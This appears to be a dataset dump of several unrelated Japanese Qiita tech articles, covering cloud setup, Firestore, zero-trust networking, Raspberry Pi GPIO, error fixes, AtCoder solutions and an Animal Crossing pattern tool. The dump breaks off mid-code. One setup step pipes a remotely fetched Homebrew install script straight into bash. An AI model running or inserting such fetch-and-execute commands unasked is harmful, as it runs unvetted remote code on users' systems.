OmniAICreator/Qiita-1.07M huggingface dataset:
AppSyncをクライアントで動かす（事前準備）

# はじめに

[昨日](https://qiita.com/ufoo68/items/28898a26548892d89d84)まででGraphQLのサーバーを立てることができたので今日からクライアントアプリを実装してみます。今回はその事前準備をします。

# 環境

以下の開発ツールを用います

- [Amplify](https://aws.amazon.com/jp/amplify/)
- [React](https://ja.reactjs.org/)

Amplifyはアプリケーションのデプロイを簡単にすることができる便利ツールです。cdkでもデプロイはできますが、フロントエンドアプリのデプロイに特化したツールを用いたいと思ったのでAmplifyにしました。
また、今回もReactの開発環境の構築は[create-react-app](https://github.com/facebook/create-react-app)を用いました。

# 開発環境の構築

まずはRectの環境から構築していきます。環境が構築できたらそのディレクトリに移動します。

```bash
create-react-app appsync-client
cd appsync-client
```

次はAmplifyの設定を行います。事前に**aws-cli**での認証を済ませておきましょう。また、Amplifyを今回はじめて使ったのでインストールから行いました。

```bash
npm install -g @aws-amplify/cli
```

インストールが完了したら早速Amplifyを立ち上げます。

```bash
amplify init
```

立ち上げるとCLIから色々と質問されるかと思います。私は以下のような感じで設定しました。だいだいはエンターキー連打で問題ないと思います。途中、Reactをフレームワークとして選択する箇所があるのでそこだけ注意してください。

```
? Enter a name for the project appsyncclient
? Enter a name for the environment dev
? Choose your default editor: Visual Studio Code
? Choose the type of app that you're building javascript
? What javascript framework are you using react
? Source Directory Path:  src
? Distribution Directory Path: build
? Build Command:  npm run-script build
? Start Command: npm run-script start
? Do you want to use an AWS profile? Yes
? Please choose the profile you want to use default
```

そしたら次にAppSyncと連携させるために以下のコマンドを実行します。

```bash
amplify add codegen --apiId hogehoge
```

`--apiId`はコンソールの`設定`のところから確認ができます。また、上記のコマンド操作についてはコンソール内のトップの`アプリと統合する`という欄の`JavaScript`のタブに切り替えたページにも説明されています。`amplify add codegen`についてもエンターキー連打で問題ないです。
あとは`aws-exports.js`を読み込ませる作業がいります。create-reacte-appで作成した`src/index.js`からロードさせます。ロードには`aws-amplify`を用いるのでパッケージをインストールします。

```bash
yarn add aws-amplify
```

そしたら`src/index.js`に以下のコードを加えましょう。

```javascript
import Amplify from "aws-amplify"
import config from "./aws-exports"
Amplify.configure(config)
```

下準備は以上です。

# さいごに

今日はインストールと必要ファイルの読み込みまでを進めました。明日から実装に入っていきたいと思います。
SIerフロントエンド・ディベロッパーのWindows10セットアップ

#はじめに

SIer所属のエンタープライズ系フロントエンド・ディベロッパーがWindows10端末を1からセットアップすることにしたため、SIer仕様の端末を作るために最低限必要なものをメモしておきました。

#ブラウザー
一通り入れましょう


- Firefox
    - https://www.mozilla.org/ja/firefox/
- Chrome
    - https://www.google.com/intl/ja_jp/chrome/
- Edge


#便利ツール
- Office 365
- 7-zip
    - https://sevenzip.osdn.jp/
    - Pleiadesが7-zipでないと解凍できない事に、、、
- Sakura Editor
    - https://sakura-editor.github.io/
- docker

#ソースコード管理
- git
    - https://git-scm.com/
    - その後、sshコマンドで公開鍵を作成しましょう

#Java開発
- Java
    - Oracle JDK8
        - https://www.oracle.com/java/technologies/javase-downloads.html
        - Java11と言いたいところですが、残念ながらまだJava8が必要なツールがあるため
- Eclipse / Pleiades
    - https://www.eclipse.org/
    - https://mergedoc.osdn.jp/
- Visual Studio Code
    - https://code.visualstudio.com/

#Node.js開発
Node.jsは公式インストーラーで入れると、Nodeのバージョン変更が大変なのでnvm経由でインストールをします。

- nvm
    - https://github.com/coreybutler/nvm-windows

```
nvm on
nvm install 12.13.0 (お好きなバージョンで)
nvm use 12.13.0
```

#案件に応じて用意するミドルウェア
- JBoss EAP
- WebSphere Liberty
    - https://developer.ibm.com/wasdev/downloads/#asset/runtimes-wlp-webProfile8
Swift5.1 Codableに対応したFirestoreでDocumentIDを取り扱う方法

本稿では，Swift(Swift5.1)を使ってFirestoreから取得したデータをデコードする際に<span>@</span>DocumentIDアトリビュートを使えばidの付加が簡単になるという話を紹介します．

昨年秋からFirebaseFirestoreSwiftを使用することで公式にCodableが使えるようになりました．それについては[こちらの記事「公式の方法でFirestoreでCodable #firebase #firestore #codable」](https://qiita.com/fromkk/items/33357fc6aa90e1098b48)で紹介されています．

# 問題：普通にDecodeするとDocument idを取ってこれない

Decode先の型にidを持たせた場合，通常Firestore側のフィールドにidは含まれていないと思うのでうまく行きません．そこで，DocumentSnapshot.documentIdで後からidを指定する必要がありました．

```swift:
struct HogeModel: Codable {
    var id: String?
    let hoge: Int
}
```
```swift 
Firestore.firestore().document("collection/uuid001").getDocument { snapshot, error in
    var data = try? snapshot?.data(as: HogeModel.self)
    data.id = snapshot.documentId
}
```

# <span>@</span>DocumentIDで自動的にidを付加する

Swift5.1で追加されたProperty Wrappersの機能を使って，FirebaseFirestoreSwiftで定義されているアトリビュート，@DocumentIDを使うことで，var idにDocumentIDを入れておいてほしいということを示すことができます．このため，FirebaseFirestoreSwiftをimportする必要があります．

```swift:
import FirebaseFirestoreSwift

struct HogeModel: Codable {
    @DocumentID var id: String?
    let hoge: Int
}
```
```swift 
Firestore.firestore().document("collection/uuid001").getDocument { snapshot, error in
    var data = try? snapshot?.data(as: HogeModel.self)
    //これだけでdataのidにdocumentIdが入っている
}
```

また，Encode時には@DocumentIDがついているプロパティは無視されるのでそのままEncodeしてFirestoreにアップロードすることが可能です．

# Property Wrappers

以下，使用上知らなくてもいいですが気になるので書いておきます．

<span>@</span>DocumentIDというアトリビュートが使えるのはSwift5.1で追加されたProperty Wrappersを使ってFirebaseFirestoreSwiftで定義されているからです．

具体的には<span>@</span>propertyWrapperのアトリビュートがつけられたStructが定義されています．

```swift
@propertyWrapper
  public struct DocumentID<Value: DocumentIDWrappable & Codable & Equatable>:
    DocumentIDProtocol, Codable, Equatable {
}
```
ゼロトラストネットワークとは何者なのか

#はじめに
最近、界隈でも名前をよく聞くようになってきたゼロトラストネットワークについて、
[ゼロトラストネットワーク](https://www.oreilly.co.jp/books/9784873118888/)を読んだので、
その内容を簡単にまとめてみたい。

#ゼロトラストネットワークとは
ゼロトラストネットワークには、5つの原則がある。

> - ネットワークは常に安全ではないとみなされる
> - ネットワーク上には外部および内部の脅威が常に存在する
> - ネットワークを信用できると判断するには、ローカルネットワークでは不十分である
> - デバイス、ユーザー、ネットワークフローは1つ残らず認証および認可される
> - ポリシーは動的であり、できるだけ多くの情報源に基づいて作成されなければいけない

ゼロトラストネットワークとは上記を踏まえ、
従来型のネットワークセキュリティアーキテクチャである「**境界モデル**」では対応できなくなってきたセキュリティリスクに備えるために提唱されたものである。

昨今のSaaSやモバイルデバイスの普及により、
守るべきネットワークの境界線があいまいになってきたことから徐々に認知が上がってきているらしい。

#境界モデルとゼロトラストモデル
##境界モデル
従来型のネットワークモデルで、
ネットワークをゾーンで分割し、ファイアウォールで侵入を止めている。
各ゾーンには何らかの信頼レベルが割り当てられており、どのネットワークリソースへのアクセスが許可されるのかが決まっている。

![境界モデル.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/259343/4e7be5f2-d069-f1bf-f822-1d7b213d90d0.jpeg)

##ゼロトラストモデル
アクセス制御の適用個所を分散させ、ゼロトラストの原則を当てはめたもの。
コントロールプレーンがアクセス制御のサポートを行う。
![ゼロトラスト.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/259343/59f16fd9-4e2f-97ca-6c6f-5bf8146511b0.jpeg)


#コントロールプレーンとデータプレーン
ゼロトラストネットワークにおいて、アクセス制御をサポートするシステムをコントロールプレーンと呼ぶ。
コントロールプレーン以外のものをデータプレーンと呼び、コントロールプレーンによって管理される。

#信頼と信用、認証と認可
ゼロトラストネットワークにおいては、下記のオブジェクトに対して通信を許可するのかを、
信頼をもとにして決断する。

- デバイス
- ユーザー
- アプリケーション
- トラフィック

ただ生身の人間がすべてのリクエストを捌くのはコストがかかりすぎるため、
ある程度までの信頼を各システムに割り振っておき、
各システムがそれぞれのリクエストを捌くことになる。
これをトラストチェーンという。

脅威モデルを定義し、
モデルに基づいたリスクの下、
ネットワークを設計する。

システム上で信頼を得るためには、
正規のリクエストだということを認めてもらう必要があり、
そのための方法として、主に公開鍵基盤の証明書認証が推奨される。



#ネットワークエージェント
ネットワークエージェントとは
>ネットワークリクエストをするエンティティについてわかっているデータの組み合わせを表す用語

である。

ネットワークエージェントには、ニーズや成熟度により大まかなデータから、細かいデータまで含まれる。
情報が細かくなるほど、データクレンジングにおいて問題になる可能性が高い。

ネットワークエージェントは、ゼロトラストネットワークでの認可の判断において、
実際に認可の対象となるものである。
認証のためには使われない。

#ゼロトラストネットワークの実現に向けて
現在では、未だ標準とされるゼロトラストネットワーク実装のためのソリューションはないらしく、
各社各様の方法で上記の原則を基に設計しているようである。

例）Googleが提供するGCPベースのセロトラストソリューション
[BeyondCorp](https://cloud.google.com/beyondcorp/?hl=ja)

#ゼロトラストネットワークにおけるVPNについて
ゼロトラストネットワークにおいては、VPN通信は推奨されない。

その理由の1つとして、ゼロトラストではアプリケーション層(L7層)のエンドポイント間でセキュアな通信がされることが重要だが、
そうした責務を担うネットワーク上のコンポーネントを追加すると、
コンポーネントとエンドポイント間のネットワーク通信が物理的および仮想的に脅威にさらされたままになる可能性があるためである。

VPNは社内NWの拡張になるだけだから危険なのは変わりないよ、という意味で理解している。

#まとめ
最近ではコロナ禍による、突然のリモートワーク要請により、
社外から社内へVPNなどをつないで業務をする人も増えているが、
そのあたりのセキュリティは大丈夫なのか、という点も気になってこの本を読んでみた。

これからゼロトラストネットワークが主流になっていくという主張もあるが、
正直日本で導入されるのはかなり時間がかかるのではないかと個人的に思う。

ゼロトラストネットワークについてはまだまだ理解しきれていないところが多いので、
これからも調べ続けていきたい。
CentOS7をインストールしたRaspberry Pi 3b+で、pigpioを用いてGPIOの制御をする

# 概要

私はCentOSの方が使い慣れているという理由でRaspberry PiにCentOS7をインストールして使ています。
ある日、pigpioというライブラリを用いてGPIO制御をしてみようと思ったのですが、環境構築の手順がRaspbianを前提にしたものがほとんどであり(みんなapt installしてる)、CentOS向けの解説を見つけられなかったので、ハマったポイントなどを紹介しながらまとめました。

# 環境

使用機器はRaspberry Pi 3b+で、OSおよびPythonのバージョンは以下の通りです。

```
$ cat /etc/redhat-release
CentOS Linux release 7.8.2003 (AltArch)
$ python3 -V
Python 3.6.8
```

# ダウンロードおよびインストール

[公式ページ](http://abyz.me.uk/rpi/pigpio/download.html)の手順を参考に、インストールを行いました。

```
wget https://github.com/joan2937/pigpio/archive/master.zip
unzip master.zip
cd pigpio-master
make
sudo make install
```

この時点で、本来であれば**pigpiod**コマンドが利用できるはずが、Not found。パスの読込先と、pigpiodコマンドの場所を確認するとpigpiodコマンドが**/usr/local/bin/**に格納されているのに対し、自分のパスが通っていなかった。なんて初歩的なミスと嘆きながらパスを修正し実行すると以下のエラー。

```
 error while loading shared libraries: libpigpio.so.1: cannot open shared object file: No such file or directory
```

これは、「ダイナミックリンクされたファイルが見つからないという意味」(引用：https://jsapachehtml.hatenablog.com/entry/2015/01/09/210255) らしく、ldconfigコマンドを実行する際のエラーのよう。そこでMakefileを確認してみると、インストール工程の最後にldconfigを実行している。

結果、[こちら](https://github.com/joan2937/pigpio/issues/113)や[こちら](https://lonesysadmin.net/2013/02/22/error-while-loading-shared-libraries-cannot-open-shared-object-file/)のサイトを参考に、以下の設定を追加したら正常に動きました。

### /etc/ld.so.confの修正
**/etc/ld.so.conf**にpigpiodコマンドが格納されているパスを記入する

```
$ sudo vi /etc/ld.so.conf
include ld.so.conf.d/*.conf
/usr/local/lib      #新しく追加
```


# pigpioをデーモンとして動作させる

その後の工程として、[こちら](https://tomosoft.jp/design/?p=8768)のサイトを参考にしながら、pigpioをデーモンとして動作させる設定を追加しました。

```
$ sudo vi /lib/systemd/system/pigpiod.service
[Unit]
Description=Daemon required to control GPIO pins via pigpio
[Service]
ExecStart=/usr/local/bin/pigpiod
ExecStop=/bin/systemctl kill pigpiod
Type=forking
[Install]
WantedBy=multi-user.target
```

その後デーモンの自動起動を設定し、起動すれば、、

```
$ sudo systemctl status pigpiod
● pigpiod.service - Daemon required to control GPIO pins via pigpio
   Loaded: loaded (/usr/lib/systemd/system/pigpiod.service; enabled; vendor preset: disabled)
   Active: active (running) since Thu 1970-01-01 09:00:07 JST; 50 years 4 months ago
  Process: 255 ExecStart=/usr/local/bin/pigpiod (code=exited, status=0/SUCCESS)
 Main PID: 257 (pigpiod)
   CGroup: /system.slice/pigpiod.service
           mq257 /usr/local/bin/pigpiod

Jan 01 09:00:07 localhost systemd[1]: Starting Daemon required to control GPIO pins via pigpio...
Jan 01 09:00:07 localhost systemd[1]: Started Daemon required to control GPIO pins via pigpio.
```

問題なく起動しました。
AWS 基礎

#前提
AWSについて学んだことを殴り書きしていきます。

#本題
RDS(Amazon Relational Database Service)について記述していきます。

##RDSとは
マネージドサービスとして提供されるリレーショナルデータベースサービスの総称。
マネージドサービスなので、運用管理はAWS。
自分でセットアップせずに、出来合のデータベースサーバーが起動し、すぐに利用できるようになる。
このようにして作成したデータベースサーバーのことをDBインスタンスと言う。
※マネジメントコンソールで操作するだけでデータベースサーバーが作れる。

##メリット
アンマネージドサービスとマネージドサービスの違い。
アンマネージドサービスであるEC２インスタンスを使ってデータベースを構成する場合、データベースソフトウェアのアップデートなどの保守管理、データのバックアップや冗長化などは、全て自分で面倒を見なければならない。
それに対して、マネージドサービスであるRDSを利用すれば、そうした面倒は全てAWSに任せることができる。
一般には、AWSが安定した運用をしてくれるRDSの方が信頼できる。
実際に、RDSは設定次第で容易に冗長化構成にでき、デフォルトでは5分間隔で自動的にバックアップが作られており、万一、故障した時には、その時点まで戻すことができる。

##デメリット
主に２点あります。
１、コスト面のデメリット
２、構成の自由度がない

###１、コスト面のデメリット
EC２で運用するのに比べて、少しコストがかかると言う点。

###２、構成の自由度がない
EC２にデータベースを構成する場合、データベースサーバーのオプション変更でパフォーマンスチューニングを実施できる。
RDSではカスタム設定で動かすことはできない。
RDSでも、いくつかのオプションは変更できるものの、基本的には、AWSによって構成されている標準的な構成のデータベースを利用することになり、高度なカスタムチューニングは困難。



...以上のデメリットがあるとはいえ、安定運用のメリットの方が重要視される。
そのためAWSでデータベースを利用するときは、RDSを利用するのが一般的。
ポート番号

# ポート番号
２つ目の記事はポート番号について！！
よくエラーが発生するあれです、
ポートが開いてませんってあれです、
こちらから言わせるとつべこべ言わずに開いてくれって感じなんですけど、どうにもこうにもそういうわけにはいかないみたいで、、、
まぁ見ていきましょう、！

## ポート番号ってなに？
コンピュータ間でデータの送受信を行うときはさまざまな作業が行われているのはみなさんご存知でしょう。このさまざまな作業をおこなってくれる便利さんな仕組みにTCP/IPってものがあるんですね。
データの送受信を行う流れは[データをデジタル信号にする->送り先に届ける->デジタル信号をデータに戻す]というようなものです。
これらの作業を効率よく行うためにTCP/IPは５つの層に分かれてそれぞれの層が独立した役割を担っています。
はい！ 
その５つの層の中のひとつであるアプリケーション層で登場するのが**ポート番号**なのです！！アプリケーション層では決められた通信方法(プロトコル)によって、決められた玄関に情報を送り込まなければならないのという役割を担っているのですが、その決められた玄関がポート番号ってなわけです。
って言ってもナンナノって感じですね。
ちょーーーーー簡単に考えると、コンピュータ間でデータの送受信を行うときに決められた玄関にデータを送りこみたいのだが間違えた玄関にピンポンしないように番号をふった。その番号がポート番号ってわけです。
あんまり深くつっこみすぎるとTCP/IPの話で一週間終わっちゃうのでこんな感じで、、、
(もっとちゃんとした正解がほしい方はTCP/IPを勉強してみてください、わたしも、、、)

## どんなのがあるのかい
ポート番号にはたくさんの種類があります。
0~65535番まであります。(ありすぎ)
0~1023番まではウェルノン・ポート番号といって通信サービスごとにあらかじめ予約してあります。
例えば以下のようなもの
www HTTP 80
www HTTPS 443
遠隔ログイン SSH 22
なんか聞いたことある！みたいな感じな方も多いと思います。
そうそう！あなたの今使っているパソコンやスマホの上の方に書いてあるURLにもhttpsとか書いてありません？これはポート番号443を使ってデータのやり取りをしているってことですね。
ポート番号はユーザが独自に設定することも可能ですが、そのような場合は通信するコンピュータ間でどの番号を使うのかを予め決めておかなければなりません。(なんか秘密の通信みたいでこれはこれでいいかも、、、ってのは冗談であとで忘れそうだからきちんと管理しないとね笑)

## 実際にみてみよう!
Linuxなら端末、Macならターミナル、WindowsならPowerShellを開いて`netstat -a`を実行してみてください。
するとどうでしょう。
プロトコル、ローカルアドレス、外部アドレス、状態が表示されますね。
これはそれぞれ、使用されている通信方法、自分のコンピュータのホスト名とポート番号、相手先のドメインとポート番号、通信状態をあらわしています。

## 最後に
今回の記事は軽くさくっとって感じでしたがいかがでしょうか？自分に対する備忘録的なものなのでおおめにみていただけたらうれしいです、
間違っていることや改善点があればビシバシとお願い致します、！
最後まで読んでいただきありがとうございました。
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failedの解決方法

#はじめに
composerをダウンロードして、Laravalをプロジェクトを開始した時に以下のようなエラーが出たので解決方法を載せておきます

````
[vagrant@localhost]$ php composer.phar create-project --prefer-dist laravel/laravel myblog
The "https://repo.packagist.org/packages.json" file could not be downloaded: SSL operation failed with code 1. OpenSSL Error messages:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
Failed to enable crypto
failed to open stream: operation failed
https://repo.packagist.org could not be fully loaded, package information was loaded from the local cache and may be out of date
````

#原因
前回インストールしたPHPバージョンでは、LaravelのPHP必要要件の7.1.3以上を満たしていなかったため、新しいバージョンをインストールしたが再起動していなかったことでエラーが起きた

#解決方法
再起動してからプロジェクトを始めると成功します
再起動する前にPHPのバージョンを確認することをおすすめします

###参考記事
[<font color="LimeGreen">laravelインストール時のエラー</font>](https://teratail.com/questions/164889)
AtCoder 生活　42日目

[前回](https://qiita.com/flandrescarlet237/items/c6a78446cfca12c9259e)

#42日目
今回は、[AtcoderProblemsのBoot camp for Beginners](https://kenkoooo.com/atcoder/#/training)のEasy問題を3問を解き、ABC165に参加しました。

|問題|難易度|自力で解けた|かかった時間|
|:-:|:-:|:-:|---|---|
|ABC120|C|✕|111分2秒|
|ABC093|C|◯|47分50秒|
|CODE FESTIVAL 2017 qual C|B|◯|54分22秒|

![スクリーンショット 2020-05-02 22.59.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/606053/879022cc-293d-e942-7eee-de2888fd4d3d.png)


##[ABC120_C](https://atcoder.jp/contests/abc120/tasks/abc120_c)

```c++

#include <bits/stdc++.h>
#define rep(i,n) for(int i = 0;i < (n);i++)
using namespace std;
using ll = long long;
using pii = pair<int,int>;

int main(){
    string s;
    cin >> s;
    int a = 0,b = 0;
    rep(i,s.size()){
        if(s[i] == '1')a++;
        else b++;
    }
    cout << min(a,b)*2 << endl;
}

```

解くのにかかった時間：111分2秒
感想：簡単になることに気づけませんでした。


##[ABC093_C](https://atcoder.jp/contests/abc093/tasks/arc094_a)

```c++

#include <bits/stdc++.h>
#define rep(i,n) for(int i = 0;i < (n);i++)
using namespace std;
using ll = long long;
using pii = pair<int,int>;

int main(){
    int a,b,c;
    cin >> a >> b >> c;
    int s = max({a,b,c});
    int r  = 3*s - (a+b+c);
    if(r%2 == 0)cout << r/2 << endl;
    else cout << (r+1)/2+1 << endl;
}

```

解くのにかかった時間：47分50秒


##[CODE FESTIVAL 2017 qual C_B](https://atcoder.jp/contests/code-festival-2017-qualc/tasks/code_festival_2017_qualc_b)

```c++

#include <bits/stdc++.h>
#define rep(i,n) for(int i = 0;i < (n);i++)
using namespace std;
using ll = long long;
using pii = pair<int,int>;

int main(){
    int n;
    cin >> n;
    vector<int> a(n);
    int cnt = 0;
    rep(i,n) {
        cin >> a[i];
        if(a[i]%2 == 0) cnt++;
    }
    int ans = pow(3,n);
    ans -= pow(2,cnt);
    cout << ans << endl;
}

```

解くのにかかった時間：54分22秒


##[ABC165](https://atcoder.jp/contests/abc165)

###A

```c++

#include <bits/stdc++.h>
#define rep(i,n) for(int i = 0;i < (n);i++)
using namespace std;
using ll = long long;
using pii = pair<int,int>;

int main(){
    int k;
    cin >> k;
    int a,b;
    cin >> a >> b;
    if(a/k != b/k || a%k == 0 || b%k == 0) cout << "OK" << endl;
    else cout << "NG" << endl;
}

```

###B


```c++

#include <bits/stdc++.h>
#define rep(i,n) for(int i = 0;i < (n);i++)
using namespace std;
using ll = long long;
using pii = pair<int,int>;
using pil = pair<pii,int>;


int main(){
    ll x;
    cin >> x;
    ll n = 100,cnt = 0;
    while(x > n){
        n *= 1.01;
        cnt++;
    }
    cout << cnt << endl;
}

```

###D


```c++

#include <bits/stdc++.h>
#define rep(i,n) for(int i = 0;i < (n);i++)
using namespace std;
using ll = long long;
using pii = pair<int,int>;
using pil = pair<pii,int>;


int main(){
    ll a,b,n;
    cin >> a >> b >> n;
    ll s = b-1;
    int ans;
    bool ok = true;
    while(ok){
        if(s <= n){
            int x = (a*s)/b;
            int y = (s/b);
            ans = x - a * y;
            ok = false;
        }
        else s--;
    }
    cout << ans << endl;
}

```


###最後に
ABC165に今回参加しました。今回はC問題がかなり難しいと感じました。
明日もABCなのでDまでと全て解けるように頑張りたいです。

|難易度|かかった平均時間|解けた問題数|
|:-:|---|---|
|B|54分22秒|1問中1問|
|C|47分50秒|2問中1問|
「あつまれどうぶつの森」の高機能マイデザイン変換ツール「ACNLPatternTool」の使い方

# メトロポリタン美術館も採用していると噂（？）の「あつまれどうぶつの森」のマイデザインツール
　あつまれどうぶつの森ユーザーには、衝撃的なニュースが舞い込んできました。

[メトロポリタン美術館が #あつまれどうぶつの森 に参戦。40万点の作品画像が使い放題](https://bijutsutecho.com/magazine/news/headline/21830)

　そして、このメトリポリタン美術館が採用している様子のツールが、なんとOSSとして公開されている「[ACNLPatternTool](https://github.com/Thulinma/ACNLPatternTool)」という噂があります（記事のコメントにありました）。ちなみに[このOSSのライセンス形式](https://github.com/Thulinma/ACNLPatternTool/blob/master/LICENSE)、私は初めてみました…ちょっとびっくり。

# 「ACNLPatternTool」セットアップ方法
　Macを想定してセットアップしています。他のOSの人すみません、頑張れば似た感じでできると思います。

　最初にyarnとnpmを使えるようにしておきましょう。最初に以下コマンドでHomebrewをセットアップしておいて下さい。入っている人は飛ばして下さい。

```sh
$ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
```

　yarnはHomebrewが入ってれば以下コマンドです。

```
$ brew install yarn
```

　npmは、だいぶ前に入れてしまったので、忘れてしまいました。適当にググって下さい（手抜きですみません）。

　あと、PythonはPython2です。今更Python2？という気もしますが、このソフト自体が7年前くらいにつくられているもののようなので、仕方ないかなという感じです。

　私はPyenvを使っているので、適当に切り替えました。Pyenvとかよくわからない人は、以下記事参照下さい。

[pyenv/pyenv-virtualenv/Anacondaを使ってクリーンなPython環境をセットアップ](https://karaage.hatenadiary.jp/entry/2016/04/04/073000)

　あとは、以下みたいな感じでセットアップできます（README通りです）。


```sh
$ git clone https://github.com/Thulinma/ACNLPatternTool
$ cd ACNLPatternTool
$ git submodule update --init --recursive
$ cd zxing-js-library
$ yarn
$ cd ..
$ npm install
$ npm run build:submodule
```

　一通りセットアップ終わったら以下コマンドで起動します。

```sh
$ npm run dev
```

　あとは、ブラウザで以下アドレスにアクセスしましょう。

```
http://localhost:3000
```

　以下のような画像が出たらOKです。

![ACNLPatternTool_01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/0c210669-ccb5-b0e3-47e2-1f1883b16f9b.png)


# 「ACNLPatternTool」使い方
　Browse選ぶと、以下のように他の人が作ったマイデザインが見られるようです。

![ 2020-05-02 22.37.07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/6a9f004d-5df0-5ee3-5768-b0cfa10a4cef.png)

　右下に、見えてはいけない人が見えている気がしますね。見なかったことにして、ブラウザバックしましょう。

　Editorで、エディター画面になります。

![ ACNLPatternTool_02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/de3f9efb-4ce3-a565-cc9c-46323794796e.png)

　良い感じですね。安心のインターフェースです。もうこれだけでも十分便利そうですね。さらに、右に見えるCONVERTというアイコンをクリックすると、画像がアップロードできます。試しに自分のアイコンを選択すると…

![ACNLPatternTool_03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/9ada2913-6844-4a02-7601-057663378a06.png)

　ワオ、なかなか良い感じに変換できました。

　あとは、右下の「GENERATE QR CODE」をクリックしましょう。

![ACNLPatternTool_04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81919/7e6d9f83-b4b5-3433-b1c3-61a3e08d2785.png)

　QRコードに変換できます。これで「あつ森」の世界で使えますね！

# まとめ
　メトロポリタン美術館も採用していると噂（？）の高機能マイデザイン変換ツール「ACNLPatternTool」の紹介をしてみました。誰か親切な人が、これで公開サーバー立ててくれていると嬉しいのですけどね（探せばどこかにあるのかな？）

　使い勝手良いのですが、やはり高解像度の複数QRに対応していないのは残念ですね。誰か作って欲しいなーと切実に思っています。

　あと、うまくセットアップできなかった！という人は、以下の記事でもっと簡単に画像からQRコードを生成できるWEBアプリを紹介していますので、よろしければ参考にしてみてください。

[「あつまれ どうぶつの森」のマイデザインのQRコードを写真・画像ファイルから生成する方法](https://karaage.hatenadiary.jp/entry/2020/03/30/073000)

# 参考リンク
　この記事を参考にラズパイでセットアップする方法を書いていただきましたのでリンクします。

[Raspberry Pi に ACNLPatternTool をインストールする](https://hackmd.io/@yuzuafro/acnlpatterntool)
SQLSTATE[HY000] [1044] Access denied for user の解決方法 

#はじめに
dotinstallでPHPのtodoアプリを作っていた時に以下のようなエラーが出たので解決方法を載せておきます。

````
SQLSTATE[HY000] [1044] Access denied for user 'dbuser'@'localhost' to database 'dotinstall_todo_app'
````

#原因
ユーザーに権限を譲渡する時に以下のようにユーザー名を間違えて譲渡したことでエラーが出ていた

````
[vagrant@localhost]$create user dbuser
[vagrant@localhost]$create database dotinstall_todo_app
[vagrant@localhost]$grant all on dotinstall_todo_app.* to dbuserr;
````

#解決方法
以下のようにもう一度設定し直したらエラーが解決できました

````
[vagrant@localhost]grant all on dotinstall_todo_app.* to dbuser;
````

以上です
カーネル密度関数を書く

#1 やりたいこと

Jupyterでカーネル密度関数を生成して、ビジュアライズ化する。
カーネル密度関数の解説は[こちら](https://www.ie-kau.net/entry/kernel_density_est)

#2 コード

gaussian_kde関数を使うのと、seabonのkdeplot関数を使うのとでカーネル密度関数は若干形状が異なるようだ。

```python:/home/sampletest/sample.py
from numpy.random import randn
import seaborn as sns
import numpy as np
from scipy import stats
import matplotlib.pyplot as plt
from scipy.stats import gaussian_kde
sns.set_style("whitegrid")
from scipy.integrate import cumtrapz #pdfを全区間で積分するためのライブラリ



#datasetを与え、カーネル密度関数を発生させる。また、カーネル密度関数の累積度数を計算し、
#累積値down,upとなるX値を返す。

def pdf_kernel(dataset,down,up):

    d_max=np.max(dataset)+0.2
    d_min=np.min(dataset)-0.2

    d_kernel = gaussian_kde(dataset) #カーネル密度推定関数を生成する。バンド幅は自動計算されている。

    #積分を行う範囲を指定する：d_minからd_maxの範囲で積分を行う。
    d_xs = np.linspace(d_min, d_max, num=1000)

    #カーネル密度関数の入力(d_xs)と出力(d_ys)を定義している。
    d_ys = d_kernel(d_xs)

    #累積分布関数をd_xsの範囲で積分する。
    d_integral = cumtrapz(d_ys, d_xs)

    #cdf(x) = 0.03となるxを求める。d_integral配列の中で0.03に最も近くなる数値が配列中の何番目に当たるかを算出している。
    idx_d= np.searchsorted(d_integral, down)

    #cdf(x) = 0.9となるxを求める。d_integral配列の中で0.9に最も近くなる数値が配列中の何番目に当たるかを算出している。
    idx_u = np.searchsorted(d_integral, up)


    #グラフ表示を行っている。
    ax=plt.plot(d_xs, d_ys, label="KDE")
    plt.xlim(d_min-1, d_max+1) 

    #累積値5%の範囲を表示
    plt.fill_between(d_xs[:idx_d], 0, d_ys[:idx_d], facecolor="r", alpha=0.5)


    #累積値90%の範囲を表示
    plt.fill_between(d_xs[idx_u:], 0, d_ys[idx_u:], facecolor="r", alpha=0.5)

    #凡例を右上に表示
    plt.legend(loc="upper right")

    pdf_val={"down":d_xs[idx_d],"up":d_xs[idx_u]}
    return pdf_val



#メインプログラムは以下から開始
dataset = randn(50) #一様分布に従う乱数を50個発生させる
down=0.05 
up=0.9


#datasetを与え、カーネル密度関数を発生させる。また、カーネル密度関数の累積度数を計算し、
#累積値down,upとなるX値を返す。
val=pdf_kernel(dataset,down,up) 

#seabornを使い、カーネル密度関数を書く。
sns.kdeplot(dataset,label="from seaborn")

```
<b>実行結果</b>
 #累積値0～down(図示例では5%)の範囲と、累積値up(図示例では90%)～100%の範囲を表示している。
![69.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/150223/9c69a7bb-8ff4-312f-98b0-2092e24d3245.jpeg)
PythonでABC165のA,B,Dを解く

### はじめに
Cが難しい。Aも難しい

### A問題
[問題](https://atcoder.jp/contests/abc165/tasks/abc165_a)

**考えたこと**
楽しようとしたらWAしたので、堅実にforした。

```python
k = int(input())
a, b = map(int,input().split())

for i in range(a,b+1):
    if i % k == 0:
        print('OK')
        quit()

print('NG')
```

### B問題
[問題](https://atcoder.jp/contests/abc165/tasks/abc165_b)

**考えたこと**
whileするだけ

```python
x = int(input())

seed = 100
ans = 0
while True:
    seed = int(1.01 * seed)
    ans += 1
    if seed >= x:
        print(ans)
        break
```

### C問題
[問題](https://atcoder.jp/contests/abc165/tasks/abc165_c)

**考えたこと**
全探索してやろうかと思ったけど、実装が重くなりそうなので諦めてDへ

### D問題
[問題](https://atcoder.jp/contests/abc165/tasks/abc165_d)

**考えたこと**
後ろの引き算の項は、$x<b$ならばfloor取ると0になるので、$x<b$になる。直感的に数字が大きいほうがfloor取ったときに大きくなりそうなので、条件を満たす最大の$x$を取る。

```python
import math
